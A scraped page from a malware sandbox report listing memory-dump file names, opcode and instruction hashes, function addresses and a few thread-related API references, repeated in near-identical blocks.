Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f933fe64fceb5f4fc05862fc9e6458e4d9e0748e6ba0e3cfe829de6ff136f50
Instruction ID: 924f297938fe5bc13c1dc6a09fce95525bafbecde8a9f1de57f8147c6b2fc22e
Opcode Fuzzy Hash: 2f933fe64fceb5f4fc05862fc9e6458e4d9e0748e6ba0e3cfe829de6ff136f50
Instruction Fuzzy Hash: 1BA18AB3F1162147F3544938CD583926A939BE1320F2F82788FACAB7C5D87E9D4A42C4

Function 00A44B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6e42393e136b2202a21da6e27e0255e0dd644e6f8451c36443bf4727c9e0a6
Instruction ID: 7def0d4c9b7c2603b33ceeaae3817bb8202cf2c8e0aadc1e858f6f933d265e63
Opcode Fuzzy Hash: fc6e42393e136b2202a21da6e27e0255e0dd644e6f8451c36443bf4727c9e0a6
Instruction Fuzzy Hash: D081F178E042468FDB15CFA9D8907EEBBF1FB9E300F184269D850A7792C7359945CBA0

Function 00B58101 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4e6544066e6b0fe127699d78d38dedbe8a1c4f938d5b277913866cd5e601f1
Instruction ID: 97b01b8ab833f832c8edcdfbcef8d2929243bb0e78cadc84297eaeaa5a942dde
Opcode Fuzzy Hash: 4f4e6544066e6b0fe127699d78d38dedbe8a1c4f938d5b277913866cd5e601f1
Instruction Fuzzy Hash: 6E51BBB3F606254BF3140924CD583A23652DBD5321F2F42788E9C6BBC5D9BFAD4A9280

Function 054F04ED Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1732599659.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b874ee110560e8d3f56a8e7adeb6e3bce8cc21b9aacdb3241adab2ee3433b673
Instruction ID: 228581080a3ac4c604f581434af4bb73383714ab256eab64c10f8be6ab58df8b
Opcode Fuzzy Hash: b874ee110560e8d3f56a8e7adeb6e3bce8cc21b9aacdb3241adab2ee3433b673
Instruction Fuzzy Hash: 871127E720C111EE6902C59D6A6C9FB2B6FE5D6730331A827F64BCA103D2C4960B0371

Function 00A88860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 65243ddd1a19e902755a8e91f66fc8ccbd35028fca5ee55b7d2400d42bec4920
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 0B117D7760018287E704A73DC8F45B7E395EBC53617EC437AC0418B788DE2AE8419B00

Function 00A7A302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 214502d0d3dc934c2b6c5595446d7a655e30093657edaf6cff9c5022d5386b61
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 3FE08C72921228EBCB14EF98CA0498EF3ECEB89B00B658096F516D3191C270DE00C7D4

Function 00A42EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00A42F5F
GetCurrentThreadId.KERNEL32 ref: 00A42F7E
__Mtx_unlock.LIBCPMT ref: 00A42FCC
__Cnd_broadcast.LIBCPMT ref: 00A42FE3
__Mtx_unlock.LIBCPMT ref: 00A430F5
GetCurrentThreadId.KERNEL32 ref: 00A43132
__Mtx_unlock.LIBCPMT ref: 00A4319B

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
